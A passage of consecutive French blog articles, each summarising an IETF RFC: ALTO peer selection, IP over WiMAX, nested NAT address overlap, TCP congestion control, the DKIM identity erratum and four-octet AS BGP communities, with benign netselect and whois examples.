Le groupe de travail Alto de l'IETF est chargé de développer un protocole permettant aux participants d'un réseau pair-à-pair de trouver le pair le plus « proche », pour améliorer la communication ultérieure et consommer moins de ressources réseau. Ce premier RFC officiel du groupe décrit le problème à résoudre.
Le fond du problème est que les pairs ne connaissent pas la topologie du réseau. Disposant de trop peu d'informations, ils risquent de choisir, parmi les pairs potentiels, un pair situé très loin d'eux, ce qui se traduira par une capacité réseau inférieure, et une utilisation exagérée des lignes à longue distance, alors que des réseaux à courte distance, moins chargés, étaient disponibles. Le but d'Alto est donc de donner aux pairs le moyen de faire des choix meilleurs que le simple hasard.
Le problème n'est d'ailleurs pas limité aux applications
pair-à-pair. Comme le rappelle la section 1, les applications
client/serveur traditionnelles ont également
parfois à choisir entre plusieurs sources, pour une même ressource (« vais-je télécharger mon
image ISO de NetBSD
depuis ftp.nl.netbsd.org
ou bien
ftp.de.netbsd.org
? »). L'Internet
est actuellement exploitée de manière très peu « développement
durable ». Les applications gourmandes comme le chargement de vidéos
ou l'échange de fichiers multimédia consomment beaucoup de capacité du
réseau, sans faire d'effort pour minimiser cette consommation.
Comme dans l'exemple de la distribution de NetBSD ci-dessus, la ressource convoitée est aujourd'hui souvent disponible depuis plusieurs sources, chacune ayant une réplique de la ressource (section 1.1). Mais les applications ne disposent pas d'éléments suffisants pour choisir la réplique la plus proche. Des heuristiques comme le pays (dans l'exemple de NetBSD ci-dessus) sont très insuffisantes car la connectivité n'épouse pas les frontières nationales. Les mesures comme celle du RTT (mises en œuvre par un logiciel comme netselect) ne donnent pas d'informations sur la capacité du réseau (cf. RFC 5136), ni sur le coût des différentes lignes (par exemple entre transit et peering). Voici un exemple avec netselect, où il affiche le serveur ayant le plus faible RTT (l'algorithme exact de netselect est plus riche, voir la documentation) :
% netselect ftp.be.netbsd.org ftp.nl.netbsd.org ftp.de.netbsd.org ftp.es.netbsd.org 25 ftp.be.netbsd.org
et, en plus détaillé :
% netselect -vv ftp.be.netbsd.org ftp.nl.netbsd.org ftp.de.netbsd.org ftp.es.netbsd.org Running netselect to choose 1 out of 5 addresses. .................................... ftp.be.netbsd.org 11 ms 11 hops 100% ok (10/10) [ 23] 192.87.102.43 9999 ms 30 hops 0% ok 192.87.102.42 9999 ms 30 hops 0% ok ftp.de.netbsd.org 24 ms 10 hops 100% ok (10/10) [ 48] ftp.es.netbsd.org 17 ms 10 hops 100% ok (10/10) [ 34] 23 ftp.be.netbsd.org
Face à ce problème, plusieurs groupes ont expérimenté des solutions visant à donner davantage d'information aux applications (cf. par exemple le RFC 5632, et le RFC 6029 pour une étude détaillée des propositions techniques existantes). Si cela viole un peu le modèle en couches (pour lequel l'application devrait être totalement ignorante du réseau sous-jacent), cela permet en général une nette augmentation des performances et une diminution de la consommation de ressources.
L'état de l'art est résumé dans la section 1.2 du RFC. Outre le RFC 5632, on peut consulter les références données dans le RFC comme « P4P: Explicit Communications for Cooperative Control Between P2P and Network Providers ». Ces solutions ont en commun de fournir un mécanisme de découverte de la source d'information et, une fois qu'on a trouvé celle-ci, un mécanisme d'interrogation de la source, pour récupérer les informations qui permettront de prendre une bonne décision.
La section 2 définit les (nombreux) termes utilisés par Alto. Le schéma des protocoles est particulièrement recommandé, il illustre notamment le fait qu'Alto n'est concerné que par la récupération de l'information depuis les serveurs Alto, pas par la manière dont cette information a été récoltée par les serveurs.
Enfin, le problème qu'Alto veut résoudre est défini rigoureusement dans la section 3. Dans un environnement où on veut une ressource (un fichier MP3, par exemple), pas une machine spécifique, il s'agit de trouver la meilleure machine pour la communication, parmi un ensemble de machines qui hébergent la même ressource. « Meilleure » peut signifier plusieurs choses, débit, coût ou même d'autres critères comme la volonté de ne pas concentrer tous les « clients » sur un seul « serveur ». En tout cas, « meilleur » doit être simplement « meilleur qu'en tirant au hasard », ce choix aléatoire étant la référence de base.
Dans quels cas un protocole de type Alto serait-il utile ? La section 4 donne des exemples de scénarios. Par exemple, le partage de fichiers (section 4.1) est une application courante et très gourmande, les fichiers en question étant souvent du gros multimédia. Si je veux télécharger un film, la quantité de données à faire passer par le réseau justifie certainement de passer quelques secondes à choisir la ou les meilleures machines d'où le charger.
Même chose lorsqu'il faut choisir, dans un protocole client/serveur traditionnel comme HTTP (section 4.2), le meilleur « miroir » d'un site donné (comme dans l'exemple de NetBSD plus haut).
Il existe encore plusieurs exemples comme l'utilisation d'Alto pour aider à construire une DHT (section 4.5).
Alto soulève plein de questions (comme l'avait montré la réunion animée à Dublin). La section 5 tente d'y répondre. D'abord, quelle information doit être distribuée par Alto (section 5.1) ? Pour éviter de surcharger le protocole, il faut développer des critères permettant de dire ce qu'on distribue et ce qu'on ne distribue pas. On ne distribue certainement pas avec Alto de l'information très temporaire comme la congestion. Alto devrait servir à transporter de l'information relativement stable et, surtout, que l'application ne peut pas obtenir facilement elle-même. La mesure du RTT, par exemple, n'a pas besoin d'Alto. Mais séparer les liens Internet chers de ceux bon marché ne peut jamais être découvert par l'application et doit donc être fourni par Alto. Même chose pour toutes les notions « comptables » comme le quota restant, dans le cas d'une connexion Internet facturée à l'usage (notez que la plupart des offres Internet sur mobile sont dans ce cas, même si la publicité mensongère des opérateurs les nomme « Internet illimité ».
Et qui va rassembler l'information que les serveurs Alto distribueront (section 5.2) ? A priori, on pourrait imaginer que cela soit fait par les opérateurs (qui connaissent leur réseau), des tiers qui bénéficient de certaines informations fournies par les opérateurs (un bon exemple est Akamai) ou bien, en style davantage « 2.0 », des communautés d'utilisateurs travaillant de manière décentralisée.
Le service Alto pourra donc être présenté de manière différente (section 5.3). Il pourrait être un service centralisé ou bien être lui-même pair-à-pair. Il faudra donc prévoir un mécanisme de découverte, pour savoir où s'adresser.
Évidemment, les applications utilisée peuvent manipuler des données privées. Si j'utilise une application pair-à-pair pour récupérer des films pornos, je n'ai pas forcément envie que mon FAI soit au courant, même si c'est une activité parfaitement légale. La section 5.4 explore donc la question de la protection de la vie privée. Le serveur Alto souhaiterait avoir le plus d'informations possibles pour prendre la meilleure décision, mais l'utilisateur doit avoir un moyen de ne pas trop en dire. Un problème analogue est celui de la protection des données confidentielles de l'opérateur réseau. Celui-ci ne souhaite pas forcément que ses clients soient au courant de la topologie du réseau (section 5.5).
Enfin, le problème de la coexistence avec les caches fait l'objet de la section 5.6.
Alto pose aussi des questions liées à la sécurité (section 6). Si les problèmes de mise en œuvre du contrôle des contenus sont explicitement exclus, d'autres questions restent posées. Par exemple, comme le serveur Alto peut influencer le processus de choix d'un pair (c'est son but), Alto introduit une tierce partie dans le dialogue pair-à-pair et donc un composant de plus pour l'analyse de la securité.
Ainsi, si le serveur Alto est géré par le FAI, certains utilisateurs peuvent ne pas avoir envie de l'utiliser car ils craignent (à juste titre quand on voit le comportement de certains FAI) que le FAI ne se serve d'Alto pour imposer les quatre volontés de Warner ou de Disney, ou bien pour espionner l'activité de certains utilisateurs, ou encore pour appliquer des politiques de sélection qui sont dans l'intérêt du FAI mais pas dans celui des utilisateurs (faire passer par des routes lentes mais moins chères, par exemple).
Toutefois, il n'est pas envisagé de rendre Alto obligatoire. Si certains serveurs Alto n'agissent plus dans l'intérêt des utilisateurs, le plus simple sera de ne pas les utiliser.
Date de publication du RFC : Octobre 2009
Auteur(s) du RFC : H. Jeon (ETRI), M. Riegel (NSN), S. Jeong (ETRI)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF 16ng
Première rédaction de cet article le 28 octobre 2009
Le système de transmission radio par micro-ondes Wimax, normalisé par l'IEEE sous le numéro de 802.16, offre une interface Ethernet aux protocoles de couche réseau comme IP. À première vue, on pourrait penser qu'il n'y a donc rien de spécial à faire pour faire fonctionner IP sur Wimax. En fait, ce système offre suffisamment de particularités par rapport à l'Ethernet filaire pour que ce RFC soit nécessaire, pour normaliser les points de détails où il faut s'écarter de l'usage classique d'Ethernet.
Parmi les points importants de Wimax, système conçu pour fonctionner à grande distance, contrairement au Wifi :
La norme IEEE 802.16 est très riche et complexe et beaucoup d'options qu'elle présente peuvent avoir une influence sur IP.
Le défi de ce RFC 5692 (section 1) est donc de profiter de l'interface Ethernet de Wimax, tout en l'optimisant pour l'usage d'IPv4 et IPv6, sans abandonner les principes de base de l'IP sur Ethernet. Le cahier des charges détaillé avait fait l'objet du RFC 5154.
La section 4 décrit le modèle d'IEEE 802.16. Chaque connexion entre la SS (la machine qui se connecte) et la BS (la station de base) reçoit un identificateur sur 16 bits, le CID (Connection Identifier). Il peut y avoir plusieurs connexions entre une BS et une SS. L'acheminement des paquets se fait avec le CID, pas avec l'adresse MAC de l'interface Ethernet.
La section 4.2 couvre les subtilités de l'adressage 802.16. Chaque SS a une adresse MAC sur 48 bits, comme avec Ethernet. Mais la commutation des paquets par la BS se fait uniquement sur la base des CID, les identificateurs des connexions SS<->BS. L'adresse MAC sources des paquets sur un lien radio n'est donc pas forcément celle d'une des deux stations, puisque la BS peut relayer des messages, jouant le rôle d'un pont.
Contrairement au vrai Ethernet, il n'y a pas de diffusion (globale ou restreinte) avec Wimax. La BS peut diffuser à toutes les SS mais si une SS veut en faire autant, elle doit transmettre à la BS, qui reflétera le paquet vers toutes les stations (section 4.3 et annexe A).
Les concepteurs de 802.16, conscients de l'importance d'Ethernet dans le monde des réseaux, avaient prévu dans la norme un mécanisme (et même deux) pour la transmission de paquets au format Ethernet. Comme l'explique la section 4.4, le premier de ces mécanismes, Packet Convergence Sublayer permet d'affecter différents protocoles au dessus d'Ethernet à des connexions différentes (et donc d'avoir des QoS différentes).
Ethernet n'est pas seulement un format de paquets, c'est aussi un modèle de réseau où toute station d'un même Ethernet peut parler directement à n'importe quelle autre. Ce n'est pas le cas, on l'a vu, pour 802.16, et il a donc fallu introduire un pont, rôle joué par la station de base, la BS (section 5). Ce mécanisme n'est pas très différent de celui de l'Ethernet filaire commuté (section 5.1). Comme un commutateur, la BS transmet aveuglément les paquets d'une station d'abonné, une SS, à une autre.
Il reste à réaliser la diffusion (broadcast). Comme indiqué plus haut, et précisé en section 5.2, la BS réalise une diffusion en dupliquant les paquets, un exemplaire par SS destinataire.
Bien, maintenant que le modèle de la liaison et celui de l'émulation Ethernet sont clairs, comment faire passer IP là-dessus ? C'est le rôle des techniques exposées en section 6. Les sections 6.1 et 6.2 font un rappel de la méthode habituelle de transmission d'IP sur Ethernet. Décrite dans les RFC 894 pour IPv4 et RFC 2464 pour IPv6, cette méthode décrit l'encapsulation d'IP dans Ethernet, et la résolution d'adresses IP en adresses MAC par les protocoles ARP (RFC 826, pour IPv4) et NDP (RFC 4861, pour IPv6). IP sur Wimax continue dans la même veine et utilise les mêmes techniques.
C'est ici que se nichent les subtiles différences entre IP sur Ethernet et IP sur 802.16. Par exemple, la section 6.2.2.1 recommande des valeurs particulières pour certaines variables comme l'écart maximum entre deux annonces par un routeur. Comme les machines connectées en Wimax peuvent dépendre d'une batterie, qu'il faut économiser, les valeurs recommandées sont plus importantes que pour un réseau où la majorité des machines est connectée au secteur.
La section 7 détaille ces améliorations qui doivent être apportées à « IP sur Wimax ». Par exemple, la mise en œuvre de la diffusion restreinte Ethernet par les BS consiste à répéter la trame sur tous les liens virtuels, réveillant ainsi même les machines qui n'étaient pas membres du groupe multicast considéré. La section 7.1.1 demande donc que l'information sur qui est membre ou pas soit traitée par la BS, de façon à ce qu'elle sache sur quels liens transmettre la trame. Pour cela, la BS doit donc écouter le trafic lié à la diffusion restreinte, comme expliqué dans le RFC 4541.
Et la diffusion générale (broadcast) ? Elle est encore plus gourmande en électricité. La section 7.1.2 demande donc que la station de base procède intelligement et ne transmette pas les trames de diffusion des protocoles comme ARP, DHCP ou IGMP, qu'elle doit plutôt intercepter et traiter elle-même. La section 7.2 explique comment assurer ce traitement pour DHCP et la 7.3 pour ARP. Dans ce dernier cas, la BS, connaissant toutes les stations des clients et donc leurs adresses MAC, doit assurer un rôle de relais ARP. À noter que l'équivalent d'ARP pour IPv6, NDP, ne fonctionne pas de la même manière (les trames sont transmises en diffusion restreinte) et peut donc être traitée par le mécanisme général de la diffusion restreinte.
La section 10 clôt le RFC avec les questions de sécurité. Comme IP sur Wimax est très proche de IP sur Ethernet, les problèmes de sécurité liés à Ethernet sont souvent les mêmes, et les solutions aussi. Ainsi, les paquets NDP (Neighbor Discovery Protocol) peuvent être mensongers et les techniques de sécurité comme SEND peuvent être utilisées.
Deux annexes reviennent sur des choix qui ont été faits lors de l'adaptation d'IP à 802.16. L'annexe A discute la possibilité d'utiliser des CID (Connection Identifier) pour la diffusion restreinte, mais la rejette car la diffusion restreinte de 802.16 ne fonctionne que dans un seul sens, de la BS vers les SS. De plus, elle nécessite un traitement par toutes les machines à qui la BS a envoyé la trame, les forçant ainsi à se réveiller et à consommer du courant.
L'annexe B discute pour sa part les avantages et les inconvénients d'un pont centralisé entre les SS, par rapport à un ensemble de ponts connectés entre eux.
Date de publication du RFC : Février 2010
Auteur(s) du RFC : P. Srisuresh (Kazeon Systems), B. Ford (MPT-SWS)
Pour information
Première rédaction de cet article le 4 février 2010
Le NAT est depuis longtemps une des plaies de l'Internet. Justifié au début par le manque d'adresses IPv4, il est désormais de plus en plus utilisé en raison de l'épuisement des adresses v4, mais aussi sur des sites qui croient qu'il leur simplifie la vie, voire qu'il améliore leur sécurité. Une des conséquences du NAT tel qu'il est déployé pour IPv4 est que les adresses privées sont prises dans une réserve d'assez petite taille et qu'on voit désormais des cas de recouvrement d'adresses IP entre deux réseaux utilisant cette technique. Ce RFC décrit deux cas de cette catégorie.
L'utilisation « canonique » du NAT est avec un réseau local qui utilise des adresses privées du RFC 1918 et une seule adresse IP publique, attribuée par le FAI et affectée au routeur qui connecte le réseau local à l'Internet. Dans cette configuration (section 3.2.1), les limites et les problèmes du NAT sont bien connus. (Voir les RFC 2993, RFC 3424, RFC 5218, etc.) Mais, en raison du succès du NAT, on voit de plus en plus apparaitre des configurations moins classiques, qui apportent de nouveaux problèmes.
L'Internet avait été prévu pour un espace d'adressage unique
(section 1 du RFC), où chaque machine avait une adresse unique au
monde. Le déploiement souvent irrefléchi du NAT a mené à une
séparation
Identificateur/Localisateur de fait (et mal faite) : désormais, il existe
plusieurs machines sur l'Internet qui ont l'adresse
192.168.1.1
.
Parmi les causes de ce déploiement du NAT :
Les problèmes que pose le NAT sont décrits dans le RFC 3027. Notre RFC 5684, lui, détaille deux cas problématiques, liés au déploiement de NAT emboîtés (passage par au moins deux routeurs NAT). Il s'appuie sur la terminologie du RFC 2663.
Le réseau théorique utilisé pour notre RFC est dessiné dans la figure 1, section 3.Il représente ces deux cas de NAT emboîtés. La facilité apparente de déploiement du NAT a une conséquence néfaste : comme il n'y a pas besoin de se concerter avec d'autres personnes, on voit de plus en plus des NAT emboîtés apparaître sans que cela résulte d'un choix délibéré, mais simplement de l'addition de décisions individuelles.
Si vous lisez le RFC, gardez bien sous la main tout le temps cette figure 1, elle vous servira.
Public Internet (Public IP addresses) ----+---------------+---------------+---------------+---- | | | | | | | | 192.0.2.1 192.0.2.64 192.0.2.128 192.0.2.254 +-------+ Host A Host B +-------------+ | NAT-1 | (Alice) (Jim) | NAT-2 | | (Bob) | | (CheapoISP) | +-------+ +-------------+ 10.1.1.1 10.1.1.1 | | | | Private Network 1 Private Network 2 (private IP addresses) (private IP addresses) ----+--------+---- ----+-----------------------+---- | | | | | | | | | | 10.1.1.10 10.1.1.11 10.1.1.10 10.1.1.11 10.1.1.12 Host C Host D +-------+ Host E +-------+ | NAT-3 | (Mary) | NAT-4 | | (Ann) | | (Lex) | +-------+ +-------+ 10.1.1.1 10.1.1.1 | | | | Private Network 3 | Private Network 4 (private IP addresses)| (private IP addresses) ----+-----------+---+ ----+-----------+---- | | | | | | | | 10.1.1.10 10.1.1.11 10.1.1.10 10.1.1.11 Host F Host G Host H Host I Figure 1. Multi-level NAT topology with Overlapping Address Space
Les ennuis commencent avec le pair à pair (section 3.1.2). Comme plusieurs machines ont la même « identité », la même adresse IP, les communications pair-à-pair sont difficiles. D'abord, pour se trouver, les machines vont avoir besoin d'un serveur extérieur, qui va organiser les rendez-vous. Ensuite, même si les machines apprennent l'adresse IP d'une autre via ce serveur, elles ne pourront pas forcément la contacter, en raison de l'absence d'adresse unique. Par exemple, une machine pourra contacter, à la place du pair convoité, une autre machine de son réseau local, qui aura la même adresse IP que le pair qu'on veut joindre.
Ann et Lex ont même un problème supplémentaire, qui fait l'objet de la section 3.2.2 : il y a duplication des adresses IP. Plusieurs machines ont la même adresse, car l'allocation n'est pas coordonnée et l'espace du RFC 1918 étant très petit, les collisions sont inévitables. Si les routeurs d'Ann et de Lex tentent d'utiliser le classique ARP sur toutes leurs interfaces, ils peuvent obtenir des réponses différentes selon l'interface. Une telle configuration, qui marchera a priori (« Je peux voir YouTube », en raison du NAT) produira des phénomènes bizarres et difficilement explicables à première vue.
Le fait qu'il y aie plusieurs niveaux de NAT dans ces cas cause également d'autres surprises (section 3.2.3), comme le fait que les machines aux adresses privées peuvent communiquer avec l'Internet mais pas entre elles, même lorsqu'elles sont clientes du même FAI. Parfois, une communication est possible via le routeur NAT, si celui-ci permet les connexions « en épingle à cheveux » (où le paquet va au routeur de sortie puis tourne en épingle à cheveux pour revenir vers le réseau privé). Les RFC 4787 et RFC 5382 demandent qu'un tel routage soit possible.
Mais, même lorsque « ça marche », la configuration reste bancale. Ainsi, on ne peut plus utiliser l'adresse IP d'une machine, normalement unique, comme identité (section 3.2.4). Cela fait que les paquets peuvent être transmis à la mauvaise machine. Le RFC donne l'exemple d'un résolveur DNS. S'il utilise des adresses privées et qu'un des réseaux locaux connectés utilise des adresses de la même plage, les machines de ce réseau ne pourront pas joindre leur résolveur. Le RFC recommande donc que les serveurs vitaux, comme le résolveur DNS, reçoivent toujours des adresses globales.
Un autre cas où des recouvrements des plages d'adresses IP peut se produire est celui des VPN, dans la section 4. Quelle que soit la technologie utilisée pour les réaliser (IPsec, L2TP, etc), le VPN donne accès à un réseau dont les adresses sont souvent privées. Si, sur son réseau d'attachement physique, le client VPN utilise également des adresses privées, le risque de collision est important. Un exemple que cite le RFC en section 4.2.1 est celui où le serveur DHCP du réseau local de la machine cliente a la même adresse (privée...) qu'une machine du réseau distant. Au moment de renouveler le bail DHCP, les paquets iront sur le site distant et pas sur le réseau local... Le RFC recommande donc que les paquets à destination des adresses IP du serveur DHCP et du premier routeur ne soient jamais envoyées à travers le VPN, même dans le cas où celui-ci est configuré pour faire passer la totalité du trafic, ce qu'on nomme le non-split VPN, et qui est souvent préféré pour des raisons de sécurité. Le RFC conseille aussi de garder la possibilité du split VPN (où seul les paquets à destination du réseau de l'entreprise sont routés via le VPN), qui limite les risques de collision.
La section 5 reprend et résume les recommandations de notre RFC 5684. Elles viennent en sus de celles des RFC 4787, RFC 5382 et RFC 5508. Si elles sont suivies, les conséquences de l'adressage privé seront minimisées.
Si elles ne le sont pas, plusieurs accidents auront lieu, parfois avec des conséquences néfastes pour la sécurité (section 7), comme l'envoi de paquets à une machine autre que celle à qui ils étaient normalement destinés. Le RFC conseille de toute façon d'avoir également une authentification forte et de ne pas se fier uniquement à l'adresse IP source.
Ah, un dernier conseil, personnel : pour limiter le risque de
collisions lorsque vous utilisez des adresses RFC 1918, n'utilisez pas le début des plages. Pour vous éloigner
des autres, numérotez avec un numéro « haut », choisi au hasard, par
exemple avec 10.198.200.0/22
ou
10.243.24.0/22
plutôt qu'avec le banal
10.1.0.0/24
que tout le monde utilise...
Date de publication du RFC : Septembre 2009
Auteur(s) du RFC : M. Allman, V. Paxton (ICSI), E. Blanton (Purdue University)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 11 septembre 2009
Successeur du souvent cité RFC 2581, ce RFC 5681 présente les algorithmes que doivent utiliser les mises en œuvres de TCP pour limiter les risques de congestion sur l'Internet. Comme TCP (RFC 793) est, de très loin, le principal protocole de transport de l'Internet, ces quatre algorithmes sont donc la principale ligne de défense contre la congestion.
Leurs noms en anglais sont tellement répandus qu'il n'est pas facile de concevoir une traduction. Essayons :
Mis au point à l'origine par Van Jacobson, ces algorithmes ont d'abord été normalisés dans le RFC 1122 (avant les RFC 2001, une lecture très recommandée, et RFC 2581). Des RFC comme le RFC 3390 ont également contribué. Richard Stevens décrit ces algorithmes dans son livre TCP/IP Illustrated (explications dans le premier volume et code source dans le deuxième). Ce livre est de très loin le meilleur pour quiconque veut apprendre le délicat fonctionnement de TCP.
Si TCP envoyait des données à la vitesse maximale que permet la carte réseau et la machine, l'Internet s'écroulerait rapidement. Le but de ces algorithmes est donc de freiner TCP et la section 3 note qu'une mise en œuvre de TCP est autorisée à être plus prudente que ces algorithmes (à envoyer moins de données) mais pas à être plus violente.
La section 3.1 décrit le Démarrage en douceur. Le principe est, au
démarrage d'une connexion TCP, de ne pas envoyer trop de données sans
avoir vu qu'elles pouvaient arriver au même rythme. L'envoyeur garde
une variable, cwnd
, la fenêtre de congestion, qui
indique combien de données il peut envoyer sans recevoir d'accusé de
réception (ACK
). TCP commence avec une fenêtre assez petite (la section 3.1
donne la méthode de calcul, un exposé complet figure dans le RFC 3390) et l'ouvre au fur et à mesure de l'arrivée
des accusés de réception (là encore, les valeurs précises figurent
dans le RFC).
Si vous lisez le code source du
noyau Linux 2.6, ces
variables supplémentaires sont déclarées dans
include/linux/tcp.h
. Tous les noms de fichiers
donnés plus loin concernent ce noyau.
Quant la fenêtre de congestion a été augmentée au delà d'un certain
seuil, noté ssthresh
, le second algorithme,
l'Évitement de congestion prend le relais. Cet algorithme augmente
différemment, de manière plus rapide, la fenêtre de congestion (quand
tout va bien) et réagit à la
congestion (détectée par l'expiration d'un délai de garde) en
réduisant ssthresh
, voire la fenêtre de congestion (ce qui peut la faire tomber en
dessous de ssthresh
, réactivant le démarrage en
douceur). Ce second algorithme est décrit en détail dans la même
section 3.1. Pour la mise en œuvre sur Linux, voir le très joli net/ipv4/tcp_cong.c
.
Attention, comme l'ont montré plusieurs alertes de sécurité (la dernière datant de quelques jours après la publication du RFC), le fait de réagir aux messages de l'hôte distant présente toujours un risque, si celui-ci essaie de vous tromper. Diverses contre-mesures sont citées (cf. RFC 3465).
Les deux autres algorithmes, la Retransmission rapide et la
Récupération rapide, sont décrits dans la section 3.2. Tous les deux
reposent sur les accusés de réception dupliqués. Ceux-ci (définis
formellement en section 2) sont des accusés de réception pour des
données qui ont déjà fait l'objet d'un tel accusé. Notre RFC 5681 recommande que le TCP récepteur envoie un accusé de
réception immédiatement lorsqu'il reçoit des données qui ne sont pas
dans l'ordre des numéros de séquence (fonction
__tcp_ack_snd_check
dans
net/ipv4/tcp_input.c
). Cet accusé, considéré
comme « dupliqué », permet à l'envoyeur de voir tout de suite que des
données ont probablement été perdues (rappelez-vous que les accusés de
réception, pour TCP, indiquent simplement le rang du dernier octet
reçu avec succès, pas une plage ; les données hors-séquence ne
suscitent normalement pas d'accusé de réception immédiat, TCP attend
plutôt que les données manquantes arrivent).
La Retransmission rapide est utilisée lorsque TCP reçoit des accusés de réception dupliqués. Dans ce cas, TCP doit retransmettre tout de suite les données non encore acceptées par son pair, sans attendre que le délai de garde expire. La Récupération rapide consiste à ne pas utiliser le Démarrage en douceur lorsqu'on détecte des accusés de réception dupliqués. Elle a fait depuis l'objet de perfectionnements, décrits plus longuement dans le RFC 6582.
Après ces quatre algorithmes à utiliser, le RFC, dans sa section 4.1,
couvre aussi le problème du redémarrage des sessions qui ont été
longtemps inactives. Dans ce cas, TCP ne peut plus compter sur
l'arrivée des accusés de réception pour calibrer le réseau (tous les
ACK
sont arrivés depuis longtemps) et son calcul de la fenêtre de
congestion peut être désormais dépassé. Il risque donc d'envoyer un
brusque flux de données. Le RFC recommande donc une variante du
Démarrage en douceur, lorsque la session a été inactive pendant
longtemps.
La section 4.2 revient sur le problème de l'envoi des accusés de
réception. Le RFC 1122 (dans sa section 4.2.3.2) spécifie un algorithme
pour cet envoi, dont le principe de base est d'attendre un peu avant
d'envoyer l'ACK
(dans l'espoir que d'autres
données arriveront, permettant de se contenter d'un seul
ACK
), mais sans attendre trop pour éviter que
l'émetteur ne s'impatiente et ne réemette. Notre RFC 5681
précise simplement les règles (ambigües) du RFC 1122.
En prime de la Retransmission rapide et du Redémarrage rapide,
certains algorithmes ont été proposés et parfois déployés, pour
récupérer des pertes de données. La section 4.3 les énumère, sans
forcément prendre position sur leur opportunité. Certains,
comme celui du RFC 3517, dépendent de l'option
SACK
(Selective Acknowledgment)
du RFC 2018, d'autres, comme celui
du RFC 3782 n'en dépendent pas.
Il est important de noter que le bon fonctionnement de l'Internet dépend de la mise en œuvre correcte de tous ces principes, par chaque implémentation de TCP. Deux machines « inciviles » qui désireraient envoyer le plus de données possibles, et tant pis pour la congestion, peuvent techniquement le faire (section 5, consacrée à la sécurité). C'est un des aspects les plus étonnants de l'Internet que peu de vendeurs aient eu l'idée de promouvoir un TCP « optimisé », c'est-à-dire égoïste. On trouve toutefois des cas limites comme Fast TCP.
Enfin, les changements par rapport au RFC 2581 sont présentés dans la section 7. Les principaux sont :
(Je trouve personnellement que le RFC 2001 était le plus clair de tous et que la précision des mises à jour suivantes a plutôt brouillé les explications.)
Date de publication du RFC : Août 2009
Auteur(s) du RFC : D. Crocker (Brandenburg InternetWorking)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dkim
Première rédaction de cet article le 27 août 2009
Depuis sa publication, le RFC 4871, qui normalise DKIM, le mécanisme d'authentification du courrier électronique, le RFC, donc, a connu un certain nombre d'implémentations et de déploiements. Ceux-ci ont mis en évidence des problèmes dans la norme. D'où ce nouveau RFC, un erratum, qui corrige la norme sur quelques points. Une nouvelle version de DKIM, dans le RFC 6376, a ensuite été adoptée, rendant ce RFC 5672 inutile.
Quel était le principal problème ? Comme l'explique la section 1 de notre
RFC 5672, DKIM sert à prouver une
identité, sous la forme d'un
identificateur, typiquement un nom de domaine. Quelle est la sémantique de cet identificateur ?
C'est justement ce qui n'était pas clair dans le RFC 4871. Celui-ci spécifiait deux identités, indiquées par les
marques d=
et i=
de la
signature. Un exemple de signature est :
DKIM-Signature: v=1; a=rsa-sha256; s=brisbane; d=example.com; c=simple/simple; q=dns/txt; i=joe@football.example.com; ...
et on y voit deux identités légèrement différentes,
example.com
et
joe@football.example.com
. Je ne maintiens pas le
suspense : la bonne, celle à indiquer l'utilisateur, est bien celle
marquée par d=
, ici
example.com
, ce qui n'était pas évident dans le
RFC 4871. C'est ce nom qui devrait être affiché
par le MUA comme ayant été authentifié
(cf. section 15).
Les sections suivantes du RFC mettent chacune à jour une partie du
RFC 4871 original, sous la forme « texte
original / nouveau texte ». Certaines sections sont entièrement
nouvelles, notamment pour introduire beaucoup de nouveau vocabulaire. C'est ainsi qu'est introduit, dans la
section 6, le terme de SDID (Signing Domain IDentifier), qui
désigne la « vraie » identité de l'émetteur du message. Le SDID de
l'exemple précédent est donc example.com
. La
section 9 de notre RFC corrige la section 3.5 du RFC original en remplaçant le vague terme
« domaine » par SDID. Et la section 10 de notre RFC, pour parler du
nom qui figure après la marque i=
, emploie
désormais AUID (Agent or User Identifier) à la
place du trop imprécis « identité ». (Le RFC 5672 précise
aussi la sémantique de ce champ, insistant notamment sur le fait que
sa ressemblance syntaxique avec une adresse de courrier électronique
ne doit pas être prise trop au sérieux : le AUID n'est
pas une adresse.)
Date de publication du RFC : Octobre 2009
Auteur(s) du RFC : Y. Rekhter (Juniper Networks), S. Sangli (Cisco Systems), D. Tappan
Chemin des normes
Première rédaction de cet article le 28 octobre 2009
Depuis le RFC 1997 en août 1996, les annonces BGP effectuées par un routeur sont fréquemment marquées par une communauté, un nombre qui identifie des caractéristiques particulières d'une route, comme, par exemple, le fait qu'elle ne doive pas être réexportée vers d'autres AS. Ces communautés étaient traditionnellement encodées sous la forme { numéro d'AS : valeur de la communauté } en profitant du fait que les communautés du RFC 1997 faisaient quatre octets (deux pour l'AS et deux pour la valeur spécifique à l'AS). Avec l'arrivée des AS sur quatre octets, il fallait un nouveau type de communauté.
Le RFC 1997 recommandait ce type d'encodage, qu'on
retrouve dans la documentation des politiques de routage de nombreux
AS. Par exemple, whois -h whois.ripe.net AS3356
nous montre :
remarks: -------------------------------------------------------- remarks: prefix type communities remarks: -------------------------------------------------------- remarks: 3356:123 - Customer route remarks: 3356:666 - Peer route remarks: -------------------------------------------------------- remarks: error type communities remarks: -------------------------------------------------------- remarks: 3356:911 - "internal use" communities received from peer remarks: -------------------------------------------------------- remarks: city communities (some cities not listed as they home off remarks: one of the below) remarks: -------------------------------------------------------- remarks: 3356:2001 - CHI1 - Chicago remarks: 3356:2002 - SDG1 - San Diego remarks: 3356:2003 - LAX1 - Los Angeles remarks: 3356:2004 - DEN1 - Denver ...
où on voit une communauté encodée sous forme de numéro d'AS
(3356
), d'un deux-points et d'une valeur.
Mais, depuis le RFC 4893, en mai 2007, les numéros d'AS peuvent faire quatre octets et, à partir du 1er janvier 2010, ce sera même la taille par défaut, distribuée par les RIR. L'ancien encodage ne convenait pas.
Notre RFC 5668 propose donc un nouveau mécanisme. Il s'appuie sur les « communautés étendues » du RFC 4360, qui normalisait un type de communauté n'ayant plus la limitation des quatre octets et où les deux premiers octets indiquaient le type de communauté.
Notre RFC 5668 déclare donc un nouveau type de communauté étendue, pour les AS à quatre octets. Sa structure est détaillé dans la section 2. Le premier octet du champ Type du RFC 4360 vaut 0x02 pour les communautés transitives et 0x42 pour les autres (le tout est enregistré dans le registre IANA). Le champ Valeur de la communauté étendue, pour qui le RFC 4360 réserve six octets est séparé en deux, la partie Global Administrator, qui stocke l'AS sur quatre octets, et la partie Local Administrator, qui stocke une valeur spécifique à l'AS, sur les deux octets restants.
